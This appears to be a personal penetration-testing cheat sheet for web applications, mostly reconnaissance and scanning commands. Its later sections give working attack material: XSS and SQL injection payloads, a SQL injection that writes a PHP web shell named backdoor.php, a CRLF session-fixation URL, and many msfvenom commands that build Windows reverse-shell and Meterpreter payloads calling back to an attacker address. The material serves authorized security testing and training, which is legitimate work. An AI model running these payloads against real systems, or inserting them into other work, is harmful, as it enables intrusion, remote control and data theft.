This is more of a checklist for myself. May contain useful tips and tricks.
Everything was tested on Kali Linux v2021.4 (64-bit).
For help with any of the tools write <tool_name> [-h | -hh | --help]
or man <tool_name>
.
Sometimes -h
can be mistaken for a host or some other option. If that's the case, use -hh
or --help
instead, or read the manual with man
.
Some tools do similar tasks, but get slightly different results. Run everything you can.
Keep in mind when no protocol nor port number in a URL is specified, i.e. if you specify only somesite.com
, some tools will default to HTTP protocol and port 80.
If you didn't already, read the OWASP Testing Guide v4.0 and OWASP Web Security Testing Guide v4.2.
Highly recommend reading Common Security Issues in Financially-Orientated Web.
Websites that you should use while writing the report:
- cwe.mitre.org/data
- owasp.org/projects
- owasp.org/www-project-top-ten
- cheatsheetseries.owasp.org
- nvd.nist.gov/vuln-metrics/cvss/v3-calculator
- nvd.nist.gov/ncp/repository
- attack.mitre.org
Future plans:
- more email gathering tools,
- Bash one-liner to transform
people.txt
intoemails.txt
, andemails.txt
intousernames.txt
, - Subfinder and Findomain tools,
- more Google Dorks,
- Gobuster tool,
- more vulnerability scanning examples using NSE,
- more WordPress tools,
- more Nuclei examples,
- HTTP smuggling,
- parameter pollution,
- email injection,
- insecure object deserialization,
- create an ASP/ASP.NET web shell,
- pre-shared key cracking,
- email spoofing.
My other cheat sheets:
- Useful Websites
- Dmitry
- theHarvester
- FOCA
- Metagoofil
- assetfinder
- Sublist3r
- Amass
- dig
- Fierce
- DNSRecon
- host
- httpx
- snallygaster
- getallurls
- Google Dorks
- Bypassing 401 and 403
- DirBuster
- Parsero
- WhatWeb
- Wordlists
- Useful Websites
- Subdomain Takeover
- Subzy
- subjack
- Nuclei
- dotdotpwn
- HTTP Response Splitting
- Cross-Site Scripting (XSS)
- SQL Injection
- sqlmap
- Web Shells
- Send Payload With Python
Most of the tools can be installed with Linux package manager:
apt-get update && apt-get install -y sometool
Some tools need to be downloaded and installed with Python:
python3 setup.py install
Some tools need to be downloaded and installed with Golang:
go build sometool.go
To set up Golang run apt-get install -y golang
, add the following lines to ~/.zshrc
, then, run source ~/.zshrc
:
export GOROOT=/usr/lib/go
export GOPATH=$HOME/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
If you use other shell, you might need to write these lines to ~/.bashrc
, etc.
Some tools that are in the form of binaries or shell scripts can be moved to /usr/bin/
for the ease of use:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometool
Keep in mind that some websites are accessible only through older web browsers like Internet Explorer.
Keep in mind that some websites may be missing the index page and may not redirect you to the home page at all. If that's the case, try to manually guess a full path to the home page, use wayback machine (getallurls) to find old URLs, or try directory fuzzing with DirBuster.
Search the Internet for default paths and files for a specific web application. Use the information gathered in combination with Google Dorks or httpx to find the same paths/files on different websites. For not so common web applications, try to find and browse the source code for default paths/files.
You can find the application's source code on GitHub, GitLab, searchcode, etc.
Search the application's source code for API keys, SSH keys, credentials, tokens, hidden endpoints and domains, etc.
Inspect the web console for possible errors. Inspect the application's source code for possible errors and comments.
Don't forget to access a web server over an IP address because you may find server's default welcome page or some other content.
- whois.domaintools.com
- reverseip.domaintools.com (web-based reverse DNS lookup)
- lookup.icann.org
- sitereport.netcraft.com
- searchdns.netcraft.com (web-based DNS lookup)
- spyse.com
- crt.sh (certificate fingerprinting)
- commoncrawl.org (web crawl dumps)
- opendata.rapid7.com (scan dumps)
- searchcode.com
- virustotal.com
- isithacked.com
- threatcrowd.org
- haveibeenpwned.com
- intelx.io (database breaches)
- search.wikileaks.org
- archive.org (wayback machine)
- pgp.circl.lu (OpenPGP key server)
- shodan.io (IoT search engine)
Gather information:
dmitry -win somedomain.com | tee dmitry_results.txt
Gather information:
theHarvester -f theHarvester_results.xml -b 'baidu,bing,duckduckgo,google,yahoo,netcraft,linkedin,twitter' -l 500 -d somedomain.com
Sometimes the output file might default to /usr/lib/python3/dist-packages/theHarvester/
directory.
Extract hostnames from the results:
grep -Po '(?<=\<hostname\>)[^\s]+?(?=\<\/hostname\>)' theHarvester_results.xml | sort -uf | tee -a subdomains.txt
Extract emails from the results:
grep -Po '(?<=\<email\>)[^\s]+?(?=\<\/email\>)' theHarvester_results.xml | sort -uf | tee -a emails.txt
Extract people from the results:
grep -Po '(?<=record\:\"people\"\,result\:\").+?(?=\"\})' theHarvester_results.xml.html | sort -uf | tee -a people.txt
Find metadata and hidden information in files.
Tested on Windows 10 Enterprise OS (64-bit).
Setup:
- download and install MS SQL Server 2014 Express or greater,
- download and install MS .NET Framework 4.7.1 Runtime or greater,
- download and install MS Visual C++ 2010 (64-bit) or greater,
- download and install FOCA.
GUI is very intuitive.
Find and download specified or all files using Google Dorks:
metagoofil -o metagoofil_results -u 'Randomize User-Agent' -r 10 -e 45 -l 100 -n 100 -w -t 'pdf,doc,docx,xls,xlsx' -d somedomain.com
Extract authors from the files:
for file in metagoofil_results/*; do exiftool -Author "${file}"; done | grep -Po '(?<=\:\ ).+' | sort -uf | tee -a people.txt
Enumerate subdomains using OSINT:
assetfinder --subs-only somedomain.com | grep -v '*' | tee assetfinder_results.txt
Enumerate subdomains using OSINT:
sublist3r -o sublist3r_results.txt -d somedomain.com
Gather information:
amass enum -passive -o amass_enum_results.txt -d somedomain.com
Fetch name servers:
dig +noall +answer -t NS somedomain.com
Fetch exchange servers:
dig +noall +answer -t MX somedomain.com
Interrogate a specified domain name server:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
Fetch the zone file for a specified domain name server:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
Reverse DNS lookup:
dig +noall +answer -x 192.168.8.5
Interrogate domain name servers:
fierce -file fierce_std_results.txt --domain somedomain.com
fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
By default, Fierce will perform brute force attack with its built-in wordlist.
Interrogate domain name servers:
dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com
dnsrecon -v --iw -f --lifetime 1 --threads 30 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com
DNSRecon can perform a brute force attack with a user-defined wordlist, but make sure you specify a full path to the wordlist; otherwise, DNSRecon might not recognize it.
Make sure you specify a full path to the output file; otherwise, it will default to /usr/share/dnsrecon/
directory (i.e. to the root directory).
Extract hostnames from the standard/zone transfer/brute force results:
jq -r '.[] | if (.type == "A" or .type == "AAAA" or .type == "CNAME" or .type == "PTR" or .type == "NS" or .type == "MX") then (.name, .target, .exchange) else (empty) end | select(. != null)' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txt
Extract IPs from the standard/zone transfer/brute force results:
jq -r '.[] | if (.type == "A" or .type == "CNAME" or .type == "PTR" or .type == "NS" or .type == "MX") then (.address) else (empty) end | select(. != null)' dnsrecon_std_results.json | sort -uf | tee -a ips.txt
Extract canonical names for the subdomain takeover vulnerability from the standard/zone transfer/brute force results:
jq -r '.[] | if (.type == "CNAME") then (.target) else (empty) end | select(. != null)' dnsrecon_std_results.json | sort -uf | tee -a canonical_names.txt
Reverse DNS lookup:
dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24
Extract virtual hosts from the reverse DNS lookup results:
jq -r '.[] | if (type == "array") then (.[].name) else (empty) end | select(. != null)' dnsrecon_reverse_results.json | sort -uf | tee -a subdomains.txt
Gather IPs for the given domains/subdomains (ask for A
records):
for subdomain in $(cat subdomains.txt); do res=$(host -t A "${subdomain}" | grep -Po '(?<=has\ address\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${subdomain} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a subdomains_to_ips.txt
grep -Po '(?<=\|\ )[^\s]+' subdomains_to_ips.txt | sort -uf | tee -a ips.txt
Check if domains/subdomains are alive with httpx.
Gather virtual hosts for the given IPs (ask for PTR
records):
for ip in $(cat ips.txt); do res=$(host -t PTR "${ip}" | grep -Po '(?<=domain\ name\ pointer\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ips_to_subdomains.txt
grep -Po '(?<=\|\ )[^\s]+' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt
Gather canonical names for the given domains/subdomains (ask for CNAME
records):
for subdomain in $(cat subdomains.txt); do res=$(host -t PTR "${subdomain}" | grep -Po '(?<=is\ an\ alias\ for\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${subdomain} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a subdomains_to_canonical_names.txt
grep -Po '(?<=\|\ )[^\s]+' subdomains_to_canonical_names.txt | sort -uf | tee -a canonical_names.txt
Download the latest version from GitHub. See how to install the tool.
Check if domains/subdomains are alive or not:
httpx -o subdomains_live.txt -l subdomains.txt
httpx -random-agent -json -o httpx_results.json -threads 30 -timeout 3 -l subdomains.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443
Extract domains/subdomains from JSON results:
jq -r '.url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt
jq -r 'select(."status-code" >= 300 and ."status-code" < 400) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_redirect.txt
jq -r 'select(."status-code" < 300 or ."status-code" >= 400) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_redirect_none.txt
grep -Po '(?<=\:\/\/)[^\s]+(?=\:)' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txt
jq -r 'select(."status-code" >= 200 and ."status-code" < 300) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_2xx.txt
jq -r 'select(."status-code" >= 300 and ."status-code" < 400) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_3xx.txt
jq -r 'select(."status-code" >= 400 and ."status-code" < 500) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_4xx.txt
jq -r 'select(."status-code" == 401) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_401.txt
jq -r 'select(."status-code" == 403) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_403.txt
Check if a specified path exists:
httpx -status-code -content-length -o httpx_results.txt -l subdomains_live.txt -path /somepath/
Download the latest version from GitHub. See how to install the tool.
Search a web server for sensitive files:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $(cat subdomains_live_long.txt | grep -Po '(?<=http\:\/\/)[^\s]+'); do snallygaster --nohttps --nowww "${subdomain}"; done | tee snallygaster_http_results.txt
for subdomain in $(cat subdomains_live_long.txt | grep -Po '(?<=https\:\/\/)[^\s]+'); do snallygaster --nohttp --nowww "${subdomain}"; done | tee snallygaster_https_results.txt
Download the latest version from GitHub. See how to install the tool.
Get URLs from wayback machine:
gau somedomain.com | tee gau_results.txt
for subdomain in $(cat subdomains_live.txt); do gau "${subdomain}"; done | tee gau_results.txt
Filter URLs from the results:
httpx -random-agent -json -o httpx_gau_results.json -threads 30 -timeout 3 -l gau_results.txt
jq -r 'select(."status-code" >= 200 and ."status-code" < 300) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt
jq -r 'select(."status-code" >= 300 and ."status-code" < 400) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt
jq -r 'select(."status-code" >= 400) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txt
jq -r 'select(."status-code" == 403) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_403_results.txt
Google Dorks databases and web tools:
- exploit-db.com/google-hacking-database
- cxsecurity.com/dorks
- pentest-tools.com/information-gathering/google-hacking
Check the list of /.well-known/
files here.
Google Dorks will not show directories nor files that are disallowed in robots.txt
, to check for such directories and files use httpx.
Append site:somedomain.com
to limit your scope to a specified domain or site:*.somedomain.com
to limit your scope only to subdomains.
Simple Google Dorks examples:
inurl:/robots.txt ext:txt intext:disallow
inurl:/.well-known/security.txt ext:txt
inurl:/info.php ext:php intext:"php version"
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:"/gitweb.cgi"
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:"-----BEGIN PGP PRIVATE KEY BLOCK-----" (ext:pem OR ext:key OR ext:txt)
Find out how to bypass 4xx HTTP response status codes from my other project.
Brute force directories and file names on a web server.
Don't forget that GNU/Linux OS has a case sensitive file system, so make sure you use an appropriate wordlists.
DirBuster might take a long time to finish depending on the settings and wordlist used. Supports the recursive search.
Figure 1 - DirBuster
All DirBuster's wordlists are located at /usr/share/dirbuster/wordlists/
directory.
Test all robots.txt
entries:
parsero -sb -u somesite.com
Identify a website:
whatweb -v somesite.com
Download a useful collection of multiple types of lists for security assessments.
Installation:
apt-get update && apt-get install seclists
Lists will be stored at /usr/share/seclists/
.
Or, manually download the collection from GitHub.
Another popular wordlist collections:
- xmendez/wfuzz
- assetnote/commonspeak2-wordlists
- weakpass.com/wordlist
- packetstormsecurity.com/Crackers/wordlists
Keep in mind that web applications can be hosted on other ports besides 80 (HTTP) and 443 (HTTPS), e.g. they can be hosted on port 8443 (HTTPS).
Keep in mind that on ports 80 (HTTP) and 443 (HTTPS) a web server can host different web applications or some other services entirely. Use Ncat or Telnet for banner grabbing.
Keep in mind that on different URL paths a web server can host different web applications or some other services entirely, e.g. somesite.com/app_one/
and somesite.com/app_two/
.
While scanning for vulnerabilities or running any other intensive scans, periodically check the web application/service in case it crashed so you can alert your client as soon as possible. Also, many times you might get temporarily blocked by the web application firewall (WAF) or some other security product and all your subsequent requests will be invalid.
If a web application all of sudden stops responding, try to access the web application with your mobile data (i.e. use a different IP). It is possible that your current IP was temporarily blocked.
Send an email message to a non-existent address at a target domain, it will often reveal useful internal network information through a nondelivery notification (NDN).
Try to invest into Nessus Professional and Burp Suite Professional or any other similar permium tools if you can afford them.
- ipaddressguide.com/cidr
- calculator.net/ip-subnet-calculator.html
- speedguide.net/ports.php
- securityheaders.com
- csp-evaluator.withgoogle.com (Content Security Policy evaluator)
For better results, use IPs instead of domain names.
Ping sweep (map live hosts):
nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24
nmap -sn -oG nmap_ping_sweep_results.txt -iL cidr.txt
Extract live hosts from the results:
grep -Po '(?<=Host\:\ )[^\s]+' nmap_ping_sweep_results.txt | sort -uf | tee -a ips.txt
TCP scan (all ports):
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidr.txt
[Variation] TCP scan (all ports):
mkdir nmap_tcp_results
for ip in $(cat ips.txt); do nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results/nmap_tcp_results_${ip//./_}.txt -p- "${ip}"; done
UDP scan (only important ports):
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidr.txt
[Variation] UDP scan (only important ports):
mkdir nmap_udp_results
for ip in $(cat ips.txt); do nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results/nmap_udp_results_${ip//./_}.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 "${subdomain}"; done
Option | Description |
---|---|
-sn | Ping scan - disable port scan |
-Pn | Treat all hosts as online -- skip host discovery |
-n/-R | Never do DNS resolution/Always resolve (default: sometimes) |
-sS/sT/sA | TCP SYN/Connect()/ACK |
-sU | UDP scan |
-p/-p- | Only scan specified ports/Scan all ports |
--top-ports | Scan most common ports |
-sV | Probe open ports to determine service/version info |
-O | Enable OS detection |
-sC | Same as --script=default |
--script | Script scan (takes time to finish) |
--script-args | Provide arguments to scripts |
--script-help | Show help about scripts |
-oN/-oX/-oG | Output scan in normal, XML, and Grepable format |
-v | Increase verbosity level (use -vv or more for greater effect) |
--reason | Display the reason a port is in a particular state |
-A | Enable OS detection, version detection, script scanning, and traceroute |
All Nmap's scripts are located at /usr/share/nmap/scripts/
directory. Read more about the scripts here.
NSE examples:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidr.txt
You can find rockyou.txt
and subdomains-top1mil.txt
wordlists in SecLists.
Scan a web server:
nikto -output nikto_results.txt -h somesite.com -p 80
Scan a WordPress website:
wpscan -o wpscan_results.txt --url somesite.com
Download the latest version from GitHub. See how to install the tool.
Test an SSL/TLS certificate (i.e. SSL/TLS ciphers, protocols, etc.):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
You can also use testssl.sh to exploit SSL/TLS vulnerabilities.
Test a web server for Heartbleed vulnerability:
for subdomain in $(cat subdomains_live.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}:443" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt
for subdomain in $(cat subdomains_live_long.txt | grep -Po '(?<=https\:\/\/)[^\s]+'); do res=$(echo "Q" | openssl s_client -connect "${subdomain}" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt
Always try the null session login (i.e. no password login) or search the Internet for default credentials for a specific web application.
Try to manipulate cookies or tokens to gain access or elevate privileges.
Try to change an HTTP POST request into an HTTP GET request (i.e. into a query string) and see if a server will accept it.
Turn off JavaScript in your web browser and check the web application behaviour again.
Check the web application behaviour on mobile devices, e.g. check m.somesite.com
for vulnerabilities because some features might work differently.
If you want to automate your code injection testing, check the Wordlists sub-section for code injection wordlists. Most of the wordlists also include obfuscated code injections.
Don't forget to remove all the created artifacts after you are done testing.
- cvedetails.com
- securityfocus.com/vulnerabilities
- exploit-db.com
- cxsecurity.com
- xssed.com
- xss-payloads.com (advanced XSS PoCs)
- hakluke/weaponised-XSS-payloads
- namecheap.com (buy domains for cheap)
- streaak/keyhacks (validate API keys)
- swisskyrepo/PayloadsAllTheThings
Gather as much information as you can for a target domain, see how in 1. Reconnaissance.
Gather organization's names for the given IPs (search for WHOIS
records):
for ip in $(cat ips.txt); do res=$(whois "${ip}" | grep -Po '(?<=OrgName\:\ \ \ \ \ \ \ \ ).+'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ips_to_organization_names.txt
grep -Po '(?<=\|\ )(?(?!\ \|).)+' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txt
Check if any IP belongs to GitHub organization.
Gather canonical names with host.
Check if domains/subdomains are dead or not, look for NXDOMAIN
, SERVFAIL
, or REFUSED
status codes:
for subdomain in $(cat subdomains.txt); do res=$(dig "${subdomain}" A +noall +comments | grep -Po '(?<=status\:\ )[^\s]+(?=\,)'); echo "${subdomain} | ${res}"; done | sort -uf | tee -a subdomains_status.txt
grep -v 'NOERROR' subdomains.txt | grep -Po '[^\s]+(?=\ \|)' | sort -uf | tee -a subdomains_status_error.txt
grep 'NOERROR' subdomains.txt | grep -Po '[^\s]+(?=\ \|)' | sort -uf | tee -a subdomains_status_error_none.txt
You can double check if domains/subdomains are dead or not with httpx.
Check if hosting providers for the found domains/subdomains are vulnerable to domain/subdomain takeover at EdOverflow/can-i-take-over-xyz. Credits to the author!
To download and install the tool run:
go get -u -v github.com/lukasikic/subzy
Check if you can takeover domains/subdomains:
subzy -concurrency 30 -timeout 3 -targets subdomains.txt | tee subzy_results.txt
To download and install the tool run:
go get -u -v github.com/haccer/subjack
Check if you can takeover domains/subdomains:
subjack -v -o subjack_results.json -t 30 -timeout 3 -a -m -w subdomains.txt
Download the latest version from GitHub. See how to install the tool.
Download the latest Nuclei templates.
Vulnerability scan:
nuclei -c 500 -t nuclei-templates -o nuclei_results.txt -l urls.txt
Traverse a path (e.g. somesite.com/../../etc/shadow
):
dotdotpwn -m http -f /etc/passwd -k root -h somesite.com
dotdotpwn -m http -S -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -m http-url -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
dotdotpwn -m http-url -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=file://TRAVERSAL'
Try to prepend a protocol such as file://
, gopher://
, dict://
, php://
, jar://
, tftp://
, etc. to the file path.
Check some additional directory traversal tips at swisskyrepo/PayloadsAllTheThings. Credits to the author!
Option | Description |
---|---|
-m | Module (http, http-url, ftp, tftp payload, stdout) |
-h | Hostname |
-O | Operating System detection for intelligent fuzzing (nmap) |
-o | Operating System type if known ("windows", "unix", or "generic") |
-d | Depth of traversals (default: 6) |
-f | Specific filename (default: according to OS detected) |
-S | Use SSL for HTTP and Payload module (not needed for http-url) |
-u | URL with the part to be fuzzed marked as TRAVERSAL |
-k | Text pattern to match in the response |
-p | Filename with the payload to be sent and the part to be fuzzed marked with the TRAVERSAL keyword |
-x | Port to connect (default: HTTP=80; FTP=21; TFTP=69) |
-U | Username (default: 'anonymous') |
-P | Password (default: 'dot(at)dot.pwn') |
-M | HTTP Method to use when using the 'http' module (GET, POST, HEAD, COPY, MOVE, default: GET) |
-b | Break after the first vulnerability is found |
-C | Continue if no data was received from host |
Also known as CRLF injection. CRLF refers to carriage return (ASCII 13
, \r
) and line feed (ASCII 10
, \n
).
Fixate a session cookie:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
When encoded, \r
refers to %0D
and \n
refers to %0A
.
Session fixation is one of many techniques used in combination with HTTP response splitting. Search the Internet for more information.
Simple cross-site scripting (XSS) examples:
<script>alert(1)</script>
<script src="https://myserver.com/xss.js"></script>
<img src="https://github.com/favicon.ico" onload="alert(1)">
Hosting JavaScript on Pastebin doesn't work because Pastebin returns the plain text content type.
Find out more about reflected and stored cross-site scripting (XSS) attacks from my other project.
Valid emails with embedded XSS:
user+(<script>alert(1)</script>)@somedomain.com
user@somedomain(<script>alert(1)</script>).com
"<script>alert(1)</script>"@somedomain.com
The following examples were tested on MySQL database.
Try to produce database errors by injecting a single-quote, back-slash, double-hyphen, forward-slash, or period.
Boolean-based SQLi:
' OR 1=1--
' OR 1=2--
Note that MySQL requires a space between the comment symbol and the next character.
Union-based SQLi:
' UNION SELECT 1, 2, 3, 4--
' UNION SELECT 1, concat_ws(' | ', database(), current_user(), version()), 3, 4--
' UNION SELECT 1, concat_ws(' | ', table_schema, table_name, column_name, data_type, character_maximum_length), 3, 4 FROM information_schema.columns--
' UNION SELECT 1, load_file('..\\..\\apache\\conf\\httpd.conf'), 3, 4--
Use the union-based SQLi only when you are able to use the same communication channel to both launch the attack and gather results.
The goal is to determine the exact number of columns in the application query and to figure out which of them are displaying to the user.
Time-based SQLi:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(), 1, 1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password, 1, 1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM schema.users WHERE id = 1)--
' AND IF(version() LIKE '5%', sleep(2), sleep(0))--
Use the time-based SQLi when you are not able to see the results.
Inject a simple PHP web shell based on HTTP GET request:
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("(".$_GET[$p].") 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}echo "<pre>".$o."</pre>";unset($o);unset($_GET[$p]);} ?>' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'--
To successfully inject a web shell, the current database user must have a write permission.
Always make sure to properly close the surrounding code.
Read this article to learn how to bypass WAF.
Inject SQL code into request parameters:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
Option | Description |
---|---|
-u | Target URL |
-H | Extra HTTP header |
--data | Data string to be sent through POST |
--cookie | HTTP Cookie header value |
--proxy | Use a proxy to connect to the target URL ([protocol://]host[:port]) |
-p | Testable parameter(s) |
--level | Level of tests to perform (1-5, default: 1) |
--risk | Risk of tests to perform (1-3, default: 1) |
-a | Retrieve everything |
-b | Retrieve DBMS banner |
--dump-all | Dump all DBMS databases tables entries |
--os-shell | Prompt for an interactive operating system shell |
--os-pwn | Prompt for an OOB shell, Meterpreter, or VNC |
--sqlmap-shell | Prompt for an interactive sqlmap shell |
--wizard | Simple wizard interface for beginner users |
Find out more about PHP shells from my other project.
Find out more about Java/JSP shells from my other project.
Find out how to generate a reverse shell payload
for Python and send it to a target machine from my other project.
To generate a Base64 encoded payload
, use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
To generate a binary file
, use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
To generate a DLL file
, use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll
To generate a standalone executable
, file use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
To generate an MSI file
, use one of the following MSFvenom commands (modify them to your need):
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi
Bytecode might not work on the first try due to some other bad characters. Trial and error is the key.
So far there is no easy way to generate a DLL nor MSI file with a stageless meterpreter shell due to the size issues.
To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command:
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))
To run the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:
PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand $command
To decode a PowerShell encoded command, run the following PowerShell command:
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command))
Find out more about PowerShell reverse and bind TCP shells from my other project.
Google a hash before trying to crack it because you might save yourself a lot of time and trouble.
Use Google Dorks, Metagoofil, or FOCA to find files and within file's metadata domain usernames to brute force.
Keep in mind that you might lockout people's accounts.
Keep in mind that some web forms implement CAPTCHA and/or hidden submission tokens which may prevent you from brute forcing. Try to submit requests without tokens or CAPTCHA.
